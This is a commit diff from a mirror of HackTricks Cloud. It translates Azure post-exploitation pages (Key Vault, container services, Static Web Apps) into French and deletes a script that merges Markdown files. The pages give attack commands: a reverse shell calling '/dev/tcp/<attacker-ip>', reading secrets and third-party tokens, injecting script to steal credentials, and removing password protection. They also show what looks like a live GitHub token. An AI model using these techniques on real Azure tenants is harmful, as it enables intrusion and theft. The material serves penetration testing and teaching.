mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-22 07:10:43 -08:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
@@ -1,145 +0,0 @@
|
|||||||
import os
|
|
||||||
import re
|
|
||||||
import tempfile
|
|
||||||
|
|
||||||
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
|
|
||||||
def clean_file_content(file_path):
|
|
||||||
"""Clean the content of a single file and return the cleaned lines."""
|
|
||||||
with open(file_path, "r", encoding="utf-8") as f:
|
|
||||||
content = f.readlines()
|
|
||||||
|
|
||||||
cleaned_lines = []
|
|
||||||
inside_hint = False
|
|
||||||
for i,line in enumerate(content):
|
|
||||||
# Skip lines containing excluded keywords
|
|
||||||
if any(keyword in line for keyword in exclude_keywords):
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Detect and skip {% hint %} ... {% endhint %} blocks
|
|
||||||
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
|
|
||||||
inside_hint = True
|
|
||||||
if "{% endhint %}" in line:
|
|
||||||
inside_hint = False
|
|
||||||
continue
|
|
||||||
if inside_hint:
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Skip lines with <figure> ... </figure>
|
|
||||||
if re.match(r"<figure>.*?</figure>", line):
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Add the line if it passed all checks
|
|
||||||
cleaned_lines.append(line.rstrip())
|
|
||||||
|
|
||||||
# Remove excess consecutive empty lines
|
|
||||||
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
|
|
||||||
return cleaned_lines
|
|
||||||
|
|
||||||
def remove_consecutive_empty_lines(lines):
|
|
||||||
"""Allow no more than one consecutive empty line."""
|
|
||||||
cleaned_lines = []
|
|
||||||
previous_line_empty = False
|
|
||||||
for line in lines:
|
|
||||||
if line.strip() == "":
|
|
||||||
if not previous_line_empty:
|
|
||||||
cleaned_lines.append("")
|
|
||||||
previous_line_empty = True
|
|
||||||
else:
|
|
||||||
cleaned_lines.append(line)
|
|
||||||
previous_line_empty = False
|
|
||||||
return cleaned_lines
|
|
||||||
|
|
||||||
def gather_files_in_order(start_folder):
|
|
||||||
"""Gather all .md files in a depth-first order."""
|
|
||||||
files = []
|
|
||||||
for root, _, filenames in os.walk(start_folder):
|
|
||||||
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")])
|
|
||||||
files.extend(md_files)
|
|
||||||
return files
|
|
||||||
|
|
||||||
# Gather files in depth-first order
|
|
||||||
all_files = gather_files_in_order(start_folder)
|
|
||||||
|
|
||||||
# Process files and merge into a single output
|
|
||||||
with open(output_file, "w", encoding="utf-8") as output:
|
|
||||||
for file_path in all_files:
|
|
||||||
# Clean the content of the file
|
|
||||||
cleaned_content = clean_file_content(file_path)
|
|
||||||
|
|
||||||
# Skip saving if the cleaned file has fewer than 10 non-empty lines
|
|
||||||
if len([line for line in cleaned_content if line.strip()]) < 10:
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Get the name of the file for the header
|
|
||||||
file_name = os.path.basename(file_path)
|
|
||||||
|
|
||||||
# Write header, cleaned content, and 2 extra new lines
|
|
||||||
output.write(f"# {file_name}\n\n")
|
|
||||||
output.write("\n".join(cleaned_content))
|
|
||||||
output.write("\n\n")
|
|
||||||
|
|
||||||
def main():
|
|
||||||
# Specify the starting folder and output file
|
|
||||||
start_folder = os.getcwd()
|
|
||||||
output_file = os.path.join(tempfile.gettempdir(), "merged_output.md")
|
|
||||||
|
|
||||||
# Keywords to exclude from lines
|
|
||||||
exclude_keywords = [
|
|
||||||
"STM Cyber", # STM Cyber ads
|
|
||||||
"offer several valuable cybersecurity services", # STM Cyber ads
|
|
||||||
"and hack the unhackable", # STM Cyber ads
|
|
||||||
"blog.stmcyber.com", # STM Cyber ads
|
|
||||||
|
|
||||||
"RootedCON", # RootedCON ads
|
|
||||||
"rootedcon.com", # RootedCON ads
|
|
||||||
"the mission of promoting technical knowledge", # RootedCON ads
|
|
||||||
|
|
||||||
"Intigriti", # Intigriti ads
|
|
||||||
"intigriti.com", # Intigriti ads
|
|
||||||
|
|
||||||
"Trickest", # Trickest ads
|
|
||||||
"trickest.com", # Trickest ads,
|
|
||||||
"Get Access Today:",
|
|
||||||
|
|
||||||
"HACKENPROOF", # Hackenproof ads
|
|
||||||
"hackenproof.com", # Hackenproof ads
|
|
||||||
"HackenProof", # Hackenproof ads
|
|
||||||
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
|
|
||||||
"Hacking Insights:", # Hackenproof ads
|
|
||||||
"Engage with content that delves", # Hackenproof ads
|
|
||||||
"Real-Time Hack News:", # Hackenproof ads
|
|
||||||
"Keep up-to-date with fast-paced", # Hackenproof ads
|
|
||||||
"Latest Announcements:", # Hackenproof ads
|
|
||||||
"Stay informed with the newest bug", # Hackenproof ads
|
|
||||||
"start collaborating with top hackers today!", # Hackenproof ads
|
|
||||||
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
|
|
||||||
|
|
||||||
"Pentest-Tools", # Pentest-Tools.com ads
|
|
||||||
"pentest-tools.com", # Pentest-Tools.com ads
|
|
||||||
"perspective on your web apps, network, and", # Pentest-Tools.com ads
|
|
||||||
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
|
|
||||||
|
|
||||||
"SerpApi", # SerpApi ads
|
|
||||||
"serpapi.com", # SerpApi ads
|
|
||||||
"offers fast and easy real-time", # SerpApi ads
|
|
||||||
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
|
|
||||||
|
|
||||||
"8kSec", # 8kSec ads
|
|
||||||
"academy.8ksec.io", # 8kSec ads
|
|
||||||
"Learn the technologies and skills required", # 8kSec ads
|
|
||||||
|
|
||||||
"WebSec", # WebSec ads
|
|
||||||
"websec.nl", # WebSec ads
|
|
||||||
"which means they do it all; Pentesting", # WebSec ads
|
|
||||||
]
|
|
||||||
|
|
||||||
# Clean and merge .md files
|
|
||||||
clean_and_merge_md_files(start_folder, exclude_keywords, output_file)
|
|
||||||
|
|
||||||
# Print the path to the output file
|
|
||||||
print(f"Merged content has been saved to: {output_file}")
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
# Execute this from the hacktricks folder to clean
|
|
||||||
# It will clean all the .md files and compile them into 1 in a proper order
|
|
||||||
main()
|
|
||||||
@@ -27,7 +27,7 @@ az keyvault certificate purge --vault-name <vault name> --name <certificate name
|
|||||||
```
|
```
|
||||||
### **Microsoft.KeyVault/vaults/keys/encrypt/action**
|
### **Microsoft.KeyVault/vaults/keys/encrypt/action**
|
||||||
|
|
||||||
Cette autorisation permet à un principal de chiffrer des données en utilisant une clé stockée dans le coffre.
|
Cette permission permet à un principal de chiffrer des données en utilisant une clé stockée dans le coffre.
|
||||||
```bash
|
```bash
|
||||||
az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
||||||
|
|
||||||
@@ -37,7 +37,7 @@ az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm
|
|||||||
```
|
```
|
||||||
### **Microsoft.KeyVault/vaults/keys/decrypt/action**
|
### **Microsoft.KeyVault/vaults/keys/decrypt/action**
|
||||||
|
|
||||||
Cette autorisation permet à un principal de déchiffrer des données en utilisant une clé stockée dans le coffre.
|
Cette permission permet à un principal de déchiffrer des données en utilisant une clé stockée dans le coffre.
|
||||||
```bash
|
```bash
|
||||||
az keyvault key decrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
az keyvault key decrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
||||||
|
|
||||||
@@ -64,7 +64,7 @@ az keyvault secret set --vault-name <vault name> --name <secret name> --value <s
|
|||||||
```
|
```
|
||||||
### **Microsoft.KeyVault/vaults/certificates/delete**
|
### **Microsoft.KeyVault/vaults/certificates/delete**
|
||||||
|
|
||||||
Cette permission permet à un principal de supprimer un certificat du coffre. Le certificat est déplacé dans l'état de "suppression douce", où il peut être récupéré à moins d'être purgé.
|
Cette autorisation permet à un principal de supprimer un certificat du coffre. Le certificat est déplacé dans l'état de "suppression douce", où il peut être récupéré à moins d'être purgé.
|
||||||
```bash
|
```bash
|
||||||
az keyvault certificate delete --vault-name <vault name> --name <certificate name>
|
az keyvault certificate delete --vault-name <vault name> --name <certificate name>
|
||||||
```
|
```
|
||||||
@@ -85,5 +85,11 @@ az keyvault secret delete --vault-name <vault name> --name <secret name>
|
|||||||
Cette permission permet à un principal de restaurer un secret à partir d'une sauvegarde.
|
Cette permission permet à un principal de restaurer un secret à partir d'une sauvegarde.
|
||||||
```bash
|
```bash
|
||||||
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
|
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
|
||||||
|
```
|
||||||
|
### Microsoft.KeyVault/vaults/keys/recover/action
|
||||||
|
Permet la récupération d'une clé précédemment supprimée d'un Azure Key Vault
|
||||||
|
```bash
|
||||||
|
az keyvault secret recover --vault-name <vault-name> --name <secret-name>
|
||||||
|
|
||||||
```
|
```
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@@ -30,9 +30,9 @@ az container logs --name <container-name> --resource-group <res-group>
|
|||||||
```
|
```
|
||||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||||
|
|
||||||
Ces autorisations permettent de **lier une identité gérée par l'utilisateur** à un groupe de conteneurs. Cela est très utile pour élever les privilèges dans le conteneur.
|
Ces permissions permettent de **joindre une identité gérée par l'utilisateur** à un groupe de conteneurs. Cela est très utile pour élever les privilèges dans le conteneur.
|
||||||
|
|
||||||
Pour lier une identité gérée par l'utilisateur à un groupe de conteneurs :
|
Pour joindre une identité gérée par l'utilisateur à un groupe de conteneurs :
|
||||||
```bash
|
```bash
|
||||||
az rest \
|
az rest \
|
||||||
--method PATCH \
|
--method PATCH \
|
||||||
@@ -61,7 +61,7 @@ az container create \
|
|||||||
--cpu 1 \
|
--cpu 1 \
|
||||||
--memory 1.0
|
--memory 1.0
|
||||||
```
|
```
|
||||||
De plus, il est également possible de mettre à jour un groupe de conteneurs existant en ajoutant par exemple l'argument **`--command-line`** avec un reverse shell.
|
De plus, il est également possible de mettre à jour un groupe de conteneurs existant en ajoutant par exemple l'argument **`--command-line`** avec un shell inversé.
|
||||||
|
|
||||||
## ACA
|
## ACA
|
||||||
|
|
||||||
@@ -75,7 +75,7 @@ az containerapp debug --name <app-name> --resource-group <res-group>
|
|||||||
```
|
```
|
||||||
### `Microsoft.App/containerApps/listSecrets/action`
|
### `Microsoft.App/containerApps/listSecrets/action`
|
||||||
|
|
||||||
Cette permission permet d'obtenir le **texte clair des secrets** configurés à l'intérieur d'une application de conteneur. Notez que les secrets peuvent être configurés avec le texte clair ou avec un lien vers un coffre-fort de clés (dans ce cas, l'application aura une identité gérée assignée avec accès aux secrets).
|
Cette permission permet d'obtenir le **texte en clair des secrets** configurés à l'intérieur d'une application de conteneur. Notez que les secrets peuvent être configurés avec le texte en clair ou avec un lien vers un coffre-fort de clés (dans ce cas, l'application aura une identité gérée assignée avec accès aux secrets).
|
||||||
```bash
|
```bash
|
||||||
az containerapp secret list --name <app-name> --resource-group <res-group>
|
az containerapp secret list --name <app-name> --resource-group <res-group>
|
||||||
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
|
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
|
||||||
@@ -165,13 +165,18 @@ az containerapp job create \
|
|||||||
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
|
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Cette commande générera une erreur si vous n'avez pas la permission `Microsoft.App/jobs/read`, bien que le Job sera créé.
|
> Cette commande générera une erreur si vous n'avez pas la permission `Microsoft.App/jobs/read`, bien que le Job soit créé.
|
||||||
|
|
||||||
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
|
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
|
||||||
|
|
||||||
Il semble qu'avec ces permissions, il devrait être possible de démarrer un job. Cela pourrait être utilisé pour démarrer un job avec un reverse shell ou toute autre commande malveillante sans avoir besoin de modifier la configuration du job.
|
Il semble qu'avec ces permissions, il devrait être possible de démarrer un job. Cela pourrait être utilisé pour démarrer un job avec un shell inversé ou toute autre commande malveillante sans avoir besoin de modifier la configuration du job.
|
||||||
|
|
||||||
Je n'ai pas réussi à le faire fonctionner, mais selon les paramètres autorisés, cela devrait être possible.
|
Je n'ai pas réussi à le faire fonctionner, mais selon les paramètres autorisés, cela devrait être possible.
|
||||||
|
|
||||||
|
### Microsoft.ContainerInstance/containerGroups/restart/action
|
||||||
|
|
||||||
|
Permet de redémarrer un groupe de conteneurs spécifique au sein d'Azure Container Instances.
|
||||||
|
```bash
|
||||||
|
az container restart --resource-group <resource-group> --name <container-instances>
|
||||||
|
```
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Azure Static Web Apps
|
## Azure Static Web Apps
|
||||||
|
|
||||||
For more information about this service check:
|
Pour plus d'informations sur ce service, consultez :
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-services/az-static-web-apps.md
|
../az-services/az-static-web-apps.md
|
||||||
@@ -12,164 +12,153 @@ For more information about this service check:
|
|||||||
|
|
||||||
### Microsoft.Web/staticSites/snippets/write
|
### Microsoft.Web/staticSites/snippets/write
|
||||||
|
|
||||||
It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).
|
Il est possible de faire charger une page web statique avec du code HTML arbitraire en créant un extrait. Cela pourrait permettre à un attaquant d'injecter du code JS dans l'application web et de voler des informations sensibles telles que des identifiants ou des clés mnémotechniques (dans des portefeuilles web3).
|
||||||
|
|
||||||
The fllowing command create an snippet that will always be loaded by the web app::
|
|
||||||
|
|
||||||
|
La commande suivante crée un extrait qui sera toujours chargé par l'application web :
|
||||||
```bash
|
```bash
|
||||||
az rest \
|
az rest \
|
||||||
--method PUT \
|
--method PUT \
|
||||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||||
--headers "Content-Type=application/json" \
|
--headers "Content-Type=application/json" \
|
||||||
--body '{
|
--body '{
|
||||||
"properties": {
|
"properties": {
|
||||||
"name": "supersnippet",
|
"name": "supersnippet",
|
||||||
"location": "Body",
|
"location": "Body",
|
||||||
"applicableEnvironmentsMode": "AllEnvironments",
|
"applicableEnvironmentsMode": "AllEnvironments",
|
||||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||||
"environments": [],
|
"environments": [],
|
||||||
"insertBottom": false
|
"insertBottom": false
|
||||||
}
|
}
|
||||||
}'
|
}'
|
||||||
```
|
```
|
||||||
|
### Lire les identifiants de tiers configurés
|
||||||
|
|
||||||
### Read Configured Third Party Credentials
|
Comme expliqué dans la section App Service :
|
||||||
|
|
||||||
As explained in the App Service section:
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-privilege-escalation/az-app-services-privesc.md
|
../az-privilege-escalation/az-app-services-privesc.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
|
En exécutant la commande suivante, il est possible de **lire les identifiants de tiers** configurés dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurés dans un utilisateur différent, vous ne pourrez pas accéder au token d'un autre.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
az rest --method GET \
|
az rest --method GET \
|
||||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||||
```
|
```
|
||||||
|
Cette commande renvoie des jetons pour Github, Bitbucket, Dropbox et OneDrive.
|
||||||
|
|
||||||
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
|
Voici quelques exemples de commandes pour vérifier les jetons :
|
||||||
|
|
||||||
Here you have some command examples to check the tokens:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# GitHub – List Repositories
|
# GitHub – List Repositories
|
||||||
curl -H "Authorization: token <token>" \
|
curl -H "Authorization: token <token>" \
|
||||||
-H "Accept: application/vnd.github.v3+json" \
|
-H "Accept: application/vnd.github.v3+json" \
|
||||||
https://api.github.com/user/repos
|
https://api.github.com/user/repos
|
||||||
|
|
||||||
# Bitbucket – List Repositories
|
# Bitbucket – List Repositories
|
||||||
curl -H "Authorization: Bearer <token>" \
|
curl -H "Authorization: Bearer <token>" \
|
||||||
-H "Accept: application/json" \
|
-H "Accept: application/json" \
|
||||||
https://api.bitbucket.org/2.0/repositories
|
https://api.bitbucket.org/2.0/repositories
|
||||||
|
|
||||||
# Dropbox – List Files in Root Folder
|
# Dropbox – List Files in Root Folder
|
||||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||||
-H "Authorization: Bearer <token>" \
|
-H "Authorization: Bearer <token>" \
|
||||||
-H "Content-Type: application/json" \
|
-H "Content-Type: application/json" \
|
||||||
--data '{"path": ""}'
|
--data '{"path": ""}'
|
||||||
|
|
||||||
# OneDrive – List Files in Root Folder
|
# OneDrive – List Files in Root Folder
|
||||||
curl -H "Authorization: Bearer <token>" \
|
curl -H "Authorization: Bearer <token>" \
|
||||||
-H "Accept: application/json" \
|
-H "Accept: application/json" \
|
||||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||||
```
|
```
|
||||||
|
### Écraser un fichier - Écraser des routes, HTML, JS...
|
||||||
|
|
||||||
### Overwrite file - Overwrite routes, HTML, JS...
|
Il est possible de **écraser un fichier à l'intérieur du dépôt Github** contenant l'application via Azure en utilisant le **token Github** pour envoyer une requête telle que celle-ci, qui indiquera le chemin du fichier à écraser, le contenu du fichier et le message de commit.
|
||||||
|
|
||||||
It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.
|
Cela peut être exploité par des attaquants pour essentiellement **modifier le contenu de l'application web** afin de servir un contenu malveillant (voler des identifiants, des clés mnémotechniques...) ou simplement pour **rediriger certains chemins** vers leurs propres serveurs en écrasant le fichier `staticwebapp.config.json`.
|
||||||
|
|
||||||
This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
|
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.
|
> Notez que si un attaquant parvient à compromettre le dépôt Github de quelque manière que ce soit, il peut également écraser le fichier directement depuis Github.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||||
-H "Content-Type: application/json" \
|
-H "Content-Type: application/json" \
|
||||||
-d '{
|
-d '{
|
||||||
"commit": {
|
"commit": {
|
||||||
"message": "Update static web app route configuration",
|
"message": "Update static web app route configuration",
|
||||||
"branchName": "main",
|
"branchName": "main",
|
||||||
"committer": {
|
"committer": {
|
||||||
"name": "Azure App Service",
|
"name": "Azure App Service",
|
||||||
"email": "donotreply@microsoft.com"
|
"email": "donotreply@microsoft.com"
|
||||||
},
|
},
|
||||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||||
"filePath": "staticwebapp.config.json",
|
"filePath": "staticwebapp.config.json",
|
||||||
"message": "Update static web app route configuration",
|
"message": "Update static web app route configuration",
|
||||||
"repoName": "carlospolop/my-first-static-web-app",
|
"repoName": "carlospolop/my-first-static-web-app",
|
||||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||||
},
|
},
|
||||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||||
}'
|
}'
|
||||||
```
|
```
|
||||||
|
### Microsoft.Web/staticSites/config/write
|
||||||
|
|
||||||
|
Avec cette autorisation, il est possible de **modifier le mot de passe** protégeant une application web statique ou même de déprotéger chaque environnement en envoyant une requête telle que la suivante :
|
||||||
### Microsoft.Web/staticSites/config/write
|
|
||||||
|
|
||||||
With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Change password
|
# Change password
|
||||||
az rest --method put \
|
az rest --method put \
|
||||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||||
--headers 'Content-Type=application/json' \
|
--headers 'Content-Type=application/json' \
|
||||||
--body '{
|
--body '{
|
||||||
"name": "basicAuth",
|
"name": "basicAuth",
|
||||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||||
"properties": {
|
"properties": {
|
||||||
"password": "SuperPassword123.",
|
"password": "SuperPassword123.",
|
||||||
"secretUrl": "",
|
"secretUrl": "",
|
||||||
"applicableEnvironmentsMode": "AllEnvironments"
|
"applicableEnvironmentsMode": "AllEnvironments"
|
||||||
}
|
}
|
||||||
}'
|
}'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
# Remove the need of a password
|
# Remove the need of a password
|
||||||
az rest --method put \
|
az rest --method put \
|
||||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||||
--headers 'Content-Type=application/json' \
|
--headers 'Content-Type=application/json' \
|
||||||
--body '{
|
--body '{
|
||||||
"name": "basicAuth",
|
"name": "basicAuth",
|
||||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||||
"properties": {
|
"properties": {
|
||||||
"secretUrl": "",
|
"secretUrl": "",
|
||||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||||
"secretState": "None"
|
"secretState": "None"
|
||||||
}
|
}
|
||||||
}'
|
}'
|
||||||
```
|
```
|
||||||
|
|
||||||
### Microsoft.Web/staticSites/listSecrets/action
|
### Microsoft.Web/staticSites/listSecrets/action
|
||||||
|
|
||||||
This permission allows to get the **API key deployment token** for the static app:
|
Cette permission permet d'obtenir le **jeton de déploiement de clé API** pour l'application statique :
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
az rest --method POST \
|
az rest --method POST \
|
||||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||||
```
|
```
|
||||||
|
Ensuite, afin de **mettre à jour une application en utilisant le token**, vous pourriez exécuter la commande suivante. Notez que cette commande a été extraite en vérifiant **comment fonctionne Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, car c'est celle qu'Azure a définie par défaut à utiliser. Ainsi, l'image et les paramètres pourraient changer à l'avenir.
|
||||||
|
|
||||||
Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
|
> [!TIP]
|
||||||
|
> Pour déployer l'application, vous pourriez utiliser l'outil **`swa`** de [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ou suivre les étapes brutes suivantes :
|
||||||
1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
|
|
||||||
2. Change the code you want to deploy
|
|
||||||
3. Deploy it running (Remember to change the `<api-token>`):
|
|
||||||
|
|
||||||
|
1. Téléchargez le dépôt [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ou tout autre dépôt que vous souhaitez déployer) et exécutez `cd react-basic`.
|
||||||
|
2. Modifiez le code que vous souhaitez déployer.
|
||||||
|
3. Déployez-le en exécutant (N'oubliez pas de changer le `<api-token>`):
|
||||||
```bash
|
```bash
|
||||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||||
```
|
```
|
||||||
|
> [!WARNING]
|
||||||
>[!WARNING]
|
> Même si vous avez le token, vous ne pourrez pas déployer l'application si la **Politique d'Autorisation de Déploiement** est définie sur **Github**. Pour utiliser le token, vous aurez besoin de la permission `Microsoft.Web/staticSites/write` pour changer la méthode de déploiement afin d'utiliser le token API.
|
||||||
> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.
|
|
||||||
|
|
||||||
### Microsoft.Web/staticSites/write
|
### Microsoft.Web/staticSites/write
|
||||||
|
|
||||||
With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.
|
Avec cette permission, il est possible de **changer la source de l'application web statique vers un autre dépôt Github**, cependant, cela ne sera pas provisionné automatiquement car cela doit être fait à partir d'une action Github.
|
||||||
|
|
||||||
However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.
|
Cependant, si la **Politique d'Autorisation de Déploiement** est définie sur **Github**, il est possible de **mettre à jour l'application à partir du nouveau dépôt source !**.
|
||||||
|
|
||||||
